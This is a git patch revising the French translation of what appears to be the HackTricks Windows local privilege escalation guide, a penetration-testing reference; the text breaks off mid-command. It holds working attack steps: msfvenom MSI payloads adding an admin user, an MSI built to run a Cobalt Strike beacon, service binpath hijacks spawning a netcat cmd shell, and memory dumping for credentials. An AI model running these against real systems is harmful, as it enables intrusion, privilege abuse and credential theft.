From 4a06a7ab5d64d93106e149bddfcd0ee82c93006f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 15:26:48 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../README.md | 627 +++++++++--------- 1 file changed, 330 insertions(+), 297 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e3b531964..9d6403643 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -### **Meilleur outil pour rechercher Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Meilleur outil pour rechercher des vecteurs de Windows local privilege escalation :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Théorie initiale Windows @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Consultez la page suivante pour plus d'informations sur ACLs - DACLs/SACLs/ACEs :** +**Consultez la page suivante pour plus d'informations sur les ACLs - DACLs/SACLs/ACEs :** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Si vous ne savez pas ce que sont les integrity levels dans Windows, vous devriez lire la page suivante avant de continuer :** +**Si vous ne savez pas ce que sont les integrity levels sous Windows, vous devriez lire la page suivante avant de continuer :** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Contrôles de sécurité Windows -Il existe différentes choses sous Windows qui pourraient **vous empêcher d'énumérer le système**, d'exécuter des exécutables ou même de **détecter vos activités**. Vous devriez **lire** la **page** suivante et **énumérer** tous ces **mécanismes de défense** avant de commencer l'énumération de la privilege escalation : +Il existe différentes choses sous Windows qui peuvent **prevent you from enumerating the system**, empêcher l'exécution d'exécutables ou même **detect your activities**. Vous devez **read** la **page** suivante et **enumerate** tous ces **defenses** **mechanisms** **before starting the privilege escalation enumeration** : {{#ref}} @@ -44,9 +44,9 @@ Il existe différentes choses sous Windows qui pourraient **vous empêcher d'én ## Informations système -### Énumération des informations de version +### Version info enumeration -Vérifiez si la version de Windows présente une vulnérabilité connue (vérifiez également les correctifs appliqués). +Vérifiez si la version de Windows présente une vulnérabilité connue (vérifiez aussi les correctifs appliqués). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Exploits par version +### Exploits de version -Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **massive attack surface** qu'un environnement Windows présente. +Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **énorme surface d'attaque** qu'un environnement Windows présente. **Sur le système** @@ -75,7 +75,7 @@ Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique po - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Dépôts GitHub d'exploits :** +**Dépôts Github d'exploits :** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique po ### Environnement -Des credential/Juicy info enregistrées dans les env variables ? +Y a-t-il des credential/Juicy info enregistrés dans les env variables ? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### Fichiers de transcription PowerShell -Vous pouvez apprendre comment l'activer ici : [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Vous pouvez apprendre comment l'activer sur [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails complets d'exécution et les résultats de sortie peuvent ne pas être capturés. +Les détails des exécutions du pipeline PowerShell sont enregistrés, incluant les commandes exécutées, les invocations de commandes et des extraits de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés. -Pour activer cela, suivez les instructions dans la section "Transcript files" de la documentation, en optant pour **"Module Logging"** au lieu de **"Powershell Transcription"**. +Pour activer cela, suivez les instructions dans la section "Transcript files" de la documentation, en optant pour **"Module Logging"** plutôt que **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Pour afficher les 15 derniers événements des logs Powershell, vous pouvez exécuter : +Pour afficher les 15 derniers événements des logs PowersShell, vous pouvez exécuter : ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Un enregistrement complet des activités et du contenu de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit exhaustive de chaque activité, utile pour la criminalistique et l'analyse des comportements malveillants. En documentant toute l'activité au moment de l'exécution, des informations détaillées sur le processus sont fournies. +Un enregistrement complet des activités et du contenu de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour forensics et pour l'analyse des comportements malveillants. En documentant toute activité au moment de l'exécution, des informations détaillées sur le processus sont fournies. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Les événements de journalisation pour le Script Block se trouvent dans l'Observateur d'événements Windows au chemin : **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Pour afficher les 20 derniers événements, vous pouvez utiliser : +Les événements liés au Script Block se trouvent dans le Visualiseur d'événements Windows au chemin : **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Pour afficher les 20 derniers événements, vous pouvez utiliser : ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,7 +155,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Vous pouvez compromettre le système si les mises à jour ne sont pas demandées en http**S** mais en http. +Vous pouvez compromettre le système si les mises à jour ne sont pas demandées via http**S** mais via http. Commencez par vérifier si le réseau utilise une mise à jour WSUS non-SSL en exécutant la commande suivante dans cmd: ``` @@ -182,9 +181,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Et si `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ou `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` est égal à `1`. -Alors, **c'est exploitable.** Si la dernière clé de registre est égale à 0, l'entrée WSUS sera ignorée. +Alors, **c'est exploitable.** Si la dernière entrée de registre est égale à `0`, l'entrée WSUS sera alors ignorée. -Pour exploiter cette vulnérabilité, vous pouvez utiliser des outils comme : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — ce sont des scripts d'exploitation MiTM weaponized pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL. +Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils tels que : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — ce sont des scripts d'exploitation MiTM weaponisés pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL. Read the research here: @@ -195,17 +194,17 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Fondamentalement, voici la faille exploitée par ce bug : +En gros, voici la faille exploitée par ce bug : -> Si nous avons la possibilité de modifier le proxy de notre utilisateur local, et que Windows Updates utilise le proxy configuré dans les paramètres d'Internet Explorer, nous avons donc la possibilité d'exécuter [PyWSUS](https://github.com/GoSecure/pywsus) localement pour intercepter notre propre trafic et exécuter du code en tant qu'utilisateur élevé sur notre machine. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> De plus, puisque le service WSUS utilise les paramètres de l'utilisateur courant, il utilisera aussi son magasin de certificats. Si nous générons un certificat auto-signé pour le hostname WSUS et que nous ajoutons ce certificat dans le magasin de certificats de l'utilisateur courant, nous pourrons intercepter le trafic WSUS HTTP et HTTPS. WSUS n'utilise aucun mécanisme de type HSTS pour implémenter une validation trust-on-first-use du certificat. Si le certificat présenté est approuvé par l'utilisateur et possède le bon hostname, il sera accepté par le service. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -Vous pouvez exploiter cette vulnérabilité en utilisant l'outil [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (une fois qu'il sera publié). +Vous pouvez exploiter cette vulnérabilité en utilisant l'outil [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (une fois qu'il sera libéré). -## Auto-updaters tiers et IPC d'agent (local privesc) +## Third-Party Auto-Updaters and Agent IPC (local privesc) -De nombreux agents en entreprise exposent une surface IPC localhost et un canal de mise à jour privilégié. Si l'enrôlement peut être forcé vers un serveur contrôlé par l'attaquant et que l'updater fait confiance à une CA racine rogue ou à des signatures faibles, un utilisateur local peut livrer un MSI malveillant que le service SYSTEM installe. Voir une technique généralisée (basée sur la chaîne Netskope stAgentSvc – CVE-2025-0309) ici : +De nombreux agents d'entreprise exposent une surface IPC sur localhost et un canal de mise à jour privilégié. Si l'enrôlement peut être forcé vers un serveur de l'attaquant et que l'updater fait confiance à une CA racine malveillante ou effectue des vérifications de signature faibles, un utilisateur local peut fournir un MSI malveillant que le service SYSTEM installe. Voir une technique généralisée (basée sur la chaîne Netskope stAgentSvc – CVE-2025-0309) ici : {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,7 +212,7 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Une vulnérabilité de **local privilege escalation** existe dans des environnements Windows **domain** sous des conditions spécifiques. Ces conditions incluent des environnements où **LDAP signing n'est pas appliqué,** des utilisateurs disposent de droits leur permettant de configurer la **Resource-Based Constrained Delegation (RBCD),** et la capacité pour les utilisateurs de créer des ordinateurs dans le domaine. Il est important de noter que ces **exigences** sont remplies avec les **paramètres par défaut**. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -221,7 +220,7 @@ For more information about the flow of the attack check [https://research.nccgro ## AlwaysInstallElevated -**Si** ces 2 entrées de registre sont **activées** (la valeur est **0x1**), alors des utilisateurs de n'importe quel niveau de privilège peuvent **installer** (exécuter) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**Si** ces 2 entrées de registre sont **activées** (valeur **0x1**), alors des utilisateurs de n'importe quel niveau de privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,19 +230,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Si vous avez une session meterpreter, vous pouvez automatiser cette technique en utilisant le module **`exploit/windows/local/always_install_elevated`** +Si vous avez une session meterpreter vous pouvez automatiser cette technique en utilisant le module **`exploit/windows/local/always_install_elevated`** ### PowerUP -Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to elevate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access): +Utilisez la commande `Write-UserAddMSI` de power-up pour créer dans le répertoire courant un binaire MSI Windows permettant d'escalader les privilèges. Ce script écrit un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GUI) : ``` Write-UserAddMSI ``` -Il suffit d'exécuter le binaire créé pour escalader les privilèges. +Exécutez simplement le binaire créé pour escalader les privilèges. ### MSI Wrapper -Lisez ce tutoriel pour apprendre à créer un MSI wrapper en utilisant ces outils. Notez que vous pouvez envelopper un fichier "**.bat**" si vous voulez **juste** **exécuter** des **lignes de commande** +Lisez ce tutoriel pour apprendre comment créer un MSI wrapper en utilisant ces outils. Notez que vous pouvez emballer un "**.bat**" si vous **just** voulez **exécuter** **lignes de commande** {{#ref}} @@ -257,28 +256,28 @@ msi-wrapper.md create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Créer un MSI avec Visual Studio - **Générez** avec Cobalt Strike ou Metasploit un **nouveau Windows EXE TCP payload** dans `C:\privesc\beacon.exe` - Ouvrez **Visual Studio**, sélectionnez **Create a new project** et tapez "installer" dans la zone de recherche. Sélectionnez le projet **Setup Wizard** et cliquez sur **Next**. -- Donnez au projet un nom, par exemple **AlwaysPrivesc**, utilisez **`C:\privesc`** pour l'emplacement, sélectionnez **place solution and project in the same directory**, et cliquez sur **Create**. -- Continuez à cliquer sur **Next** jusqu'à arriver à l'étape 3 sur 4 (choose files to include). Cliquez sur **Add** et sélectionnez le Beacon payload que vous venez de générer. Puis cliquez sur **Finish**. -- Sélectionnez le projet **AlwaysPrivesc** dans le **Solution Explorer** et, dans les **Properties**, changez **TargetPlatform** de **x86** à **x64**. -- Il y a d'autres propriétés que vous pouvez modifier, comme **Author** et **Manufacturer**, ce qui peut rendre l'application installée plus légitime. +- Donnez au projet un nom, comme **AlwaysPrivesc**, utilisez **`C:\privesc`** pour l'emplacement, sélectionnez **place solution and project in the same directory**, et cliquez sur **Create**. +- Continuez à cliquer sur **Next** jusqu'à atteindre l'étape 3 sur 4 (choose files to include). Cliquez sur **Add** et sélectionnez le Beacon payload que vous venez de générer. Puis cliquez sur **Finish**. +- Sélectionnez le projet **AlwaysPrivesc** dans le **Solution Explorer** et, dans les **Properties**, changez **TargetPlatform** de **x86** en **x64**. +- Il existe d'autres propriétés que vous pouvez modifier, comme **Author** et **Manufacturer**, ce qui peut rendre l'application installée plus légitime. - Cliquez droit sur le projet et sélectionnez **View > Custom Actions**. - Cliquez droit sur **Install** et sélectionnez **Add Custom Action**. - Double-cliquez sur **Application Folder**, sélectionnez votre fichier **beacon.exe** et cliquez sur **OK**. Cela garantira que le beacon payload est exécuté dès que l'installateur est lancé. -- Dans les **Custom Action Properties**, changez **Run64Bit** en **True**. +- Dans les **Custom Action Properties**, changez **Run64Bit** à **True**. - Enfin, **build it**. -- Si l'avertissement `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` est affiché, assurez-vous d'avoir défini la plateforme sur x64. +- Si l'avertissement `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` apparaît, assurez-vous d'avoir défini la plateforme sur x64. -### MSI Installation +### Installation du MSI -Pour exécuter l'**installation** du fichier `.msi` malveillant en **arrière-plan** : +Pour exécuter l'**installation** du fichier `.msi` malveillant en **arrière-plan :** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Pour exploiter cette vulnérabilité vous pouvez utiliser : _exploit/windows/local/always_install_elevated_ +Pour exploiter cette vulnérabilité, vous pouvez utiliser : _exploit/windows/local/always_install_elevated_ ## Antivirus et détecteurs @@ -296,7 +295,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** est conçu pour la **gestion des mots de passe Administrator locaux**, garantissant que chaque mot de passe est **unique, aléatoire et mis à jour régulièrement** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés de façon sécurisée dans Active Directory et ne peuvent être consultés que par des utilisateurs auxquels des permissions suffisantes ont été accordées via des ACLs, leur permettant de voir les mots de passe admin locaux si autorisés. +**LAPS** est conçu pour la gestion des mots de passe locaux du compte Administrator, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints au domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne peuvent être consultés que par des utilisateurs à qui des permissions suffisantes ont été accordées via les ACLs, leur permettant de voir les mots de passe admin locaux si autorisés. {{#ref}} @@ -305,36 +304,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Si activé, **les mots de passe en plain-text sont stockés dans LSASS** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). +Si activé, **les mots de passe en clair sont stockés dans LSASS** (Local Security Authority Subsystem Service).\ +[**Plus d'infos sur WDigest dans cette page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA Protection +### Protection LSA -Depuis **Windows 8.1**, Microsoft a introduit une protection renforcée pour le Local Security Authority (LSA) afin de **bloquer** les tentatives des processus non approuvés de **lire sa mémoire** ou d'injecter du code, renforçant ainsi la sécurité du système.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +À partir de **Windows 8.1**, Microsoft a introduit une protection renforcée pour l'Autorité de sécurité locale (LSA) afin de **bloquer** les tentatives de processus non approuvés de **lire sa mémoire** ou d'injecter du code, renforçant ainsi la sécurité du système.\ +[**Plus d'informations sur la protection LSA ici**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** a été introduit dans **Windows 10**. Son objectif est de protéger les credentials stockés sur un appareil contre des menaces telles que les attaques pass-the-hash.| [**Plus d'informations sur Credentials Guard ici.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** a été introduit dans **Windows 10**. Son objectif est de protéger les credentials stockés sur un appareil contre des menaces telles que les attaques pass-the-hash.| [**Plus d'informations sur Credential Guard ici.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** sont authentifiées par la **Local Security Authority** (LSA) et utilisées par les composants du système d'exploitation. Lorsque les logon data d'un utilisateur sont authentifiés par un security package enregistré, les domain credentials de l'utilisateur sont généralement établis.\ +Les **Domain credentials** sont authentifiées par la **Local Security Authority** (LSA) et utilisées par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un package de sécurité enregistré, les **Domain credentials** de l'utilisateur sont généralement établies.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Utilisateurs & Groupes -### Énumérer les utilisateurs & groupes +### Énumérer les utilisateurs & Groupes -Vous devriez vérifier si l'un des groupes auxquels vous appartenez possède des autorisations intéressantes +Vous devriez vérifier si l'un des groupes auxquels vous appartenez possède des permissions intéressantes. ```bash # CMD net users %username% #Me @@ -351,7 +350,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Groupes privilégiés -Si vous **appartenez à un groupe privilégié, vous pouvez escalader vos privilèges**. En savoir plus sur les groupes privilégiés et comment les exploiter pour escalader les privilèges ici : +Si vous **appartenez à un groupe privilégié, vous pouvez être en mesure d'escalader vos privilèges**. Apprenez-en davantage sur les groupes privilégiés et comment les exploiter pour escalader les privilèges ici : {{#ref}} @@ -386,12 +385,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Processus en cours d'exécution +## Processus en cours -### Permissions des fichiers et des dossiers +### Permissions des fichiers et dossiers -Tout d'abord, en listant les processus, **vérifiez la présence de mots de passe dans la ligne de commande du processus**.\ -Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez des permissions d'écriture sur le dossier contenant le binaire afin d'exploiter d'éventuelles [**DLL Hijacking attacks**](dll-hijacking/index.html): +Avant tout, en listant les processus, **vérifiez la présence de mots de passe dans la ligne de commande du processus**.\ +Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez les permissions d'écriture sur le dossier du binaire afin d'exploiter d'éventuels [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -402,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Vérifiez toujours la présence de [**electron/cef/chromium debuggers** en cours d'exécution — vous pouvez les exploiter pour escalader les privilèges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Vérification des permissions des binaires des processus** +**Vérifier les permissions des binaries des processus** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -413,7 +412,7 @@ icacls "%%z" ) ) ``` -**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Vérifier les permissions des dossiers contenant les binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -423,15 +422,15 @@ todos %username%" && echo. ``` ### Memory Password mining -Vous pouvez créer un memory dump d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **credentials in clear text in memory**, essayez de dumper la mémoire et de lire les credentials. +Vous pouvez créer un memory dump d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **credentials in clear text in memory**, essayez de dumper la mémoire et lire les credentials. ```bash procdump.exe -accepteula -ma ``` ### Applications GUI non sécurisées -**Les applications s'exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD ou de parcourir des répertoires.** +**Des applications s'exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD, ou de parcourir des répertoires.** -Exemple: "Windows Help and Support" (Windows + F1), recherchez "command prompt", cliquez sur "Click to open Command Prompt" +Exemple : "Windows Help and Support" (Windows + F1), rechercher "command prompt", cliquer sur "Click to open Command Prompt" ## Services @@ -452,7 +451,7 @@ Il est recommandé d'avoir le binaire **accesschk** de _Sysinternals_ pour véri ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Il est recommandé de vérifier si "Authenticated Users" peuvent modifier un service : +Il est recommandé de vérifier si "Authenticated Users" peuvent modifier n'importe quel service : ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -465,8 +464,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Si vous obtenez cette erreur (par exemple avec SSDPSRV) : -_Une erreur système 1058 s'est produite._\ -_Le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a aucun périphérique activé qui lui soit associé._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ Vous pouvez l'activer en utilisant ```bash @@ -475,13 +474,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Prenez en compte que le service upnphost dépend de SSDPSRV pour fonctionner (pour XP SP1)** -**Une autre solution de contournement** à ce problème est d'exécuter : +**Une autre solution de contournement à ce problème consiste à exécuter:** ``` sc.exe config usosvc start= auto ``` ### **Modifier le chemin binaire du service** -Dans le cas où le groupe "Authenticated users" possède **SERVICE_ALL_ACCESS** sur un service, il est possible de modifier l'exécutable binaire du service. Pour modifier et exécuter **sc**: +Dans le scénario où le groupe "Authenticated users" possède **SERVICE_ALL_ACCESS** sur un service, il est possible de modifier le binaire exécutable du service. Pour modifier et exécuter **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -496,18 +495,18 @@ net stop [service name] && net start [service name] ``` Les privilèges peuvent être escaladés via différentes permissions : -- **SERVICE_CHANGE_CONFIG**: Permet la reconfiguration du binaire du service. -- **WRITE_DAC**: Autorise la reconfiguration des permissions, conduisant à la possibilité de modifier les configurations du service. -- **WRITE_OWNER**: Permet l'acquisition de la propriété et la reconfiguration des permissions. -- **GENERIC_WRITE**: Hérite de la capacité à modifier les configurations du service. -- **GENERIC_ALL**: Hérite également de la capacité à modifier les configurations du service. +- **SERVICE_CHANGE_CONFIG** : Permet la reconfiguration du binaire du service. +- **WRITE_DAC** : Permet la reconfiguration des permissions, conduisant à la capacité de modifier les configurations du service. +- **WRITE_OWNER** : Permet l'acquisition de la propriété et la reconfiguration des permissions. +- **GENERIC_WRITE** : Hérite de la capacité à modifier les configurations du service. +- **GENERIC_ALL** : Hérite également de la capacité à modifier les configurations du service. -Pour la détection et l'exploitation de cette vulnérabilité, le _exploit/windows/local/service_permissions_ peut être utilisé. +Pour la détection et l'exploitation de cette vulnérabilité, _exploit/windows/local/service_permissions_ peut être utilisé. -### Permissions faibles des binaires des services +### Permissions faibles des binaires de service -**Vérifiez si vous pouvez modifier le binaire qui est exécuté par un service** ou si vous avez des **permissions d'écriture sur le dossier** où se trouve le binaire ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Vous pouvez obtenir tous les binaires exécutés par un service en utilisant **wmic** (not in system32) et vérifier vos permissions avec **icacls** : +**Vérifiez si vous pouvez modifier le binaire exécuté par un service** ou si vous avez **les permissions d'écriture sur le dossier** où le binaire est situé ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Vous pouvez obtenir chaque binaire exécuté par un service en utilisant **wmic** (not in system32) et vérifier vos permissions avec **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -521,7 +520,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Permissions de modification du registre des services -Vous devriez vérifier si vous pouvez modifier n'importe quel registre de service.\ +Vous devriez vérifier si vous pouvez modifier un registre de service.\ Vous pouvez **vérifier** vos **permissions** sur un **registre** de service en faisant : ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -531,32 +530,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Il faut vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent les permissions `FullControl`. Le cas échéant, le binaire exécuté par le service peut être modifié. +Il faut vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent les permissions `FullControl`. Le cas échéant, le binary exécuté par le service peut être modifié. -Pour changer le Path du binaire exécuté : +Pour changer le Path du binary exécuté : ```bash reg add 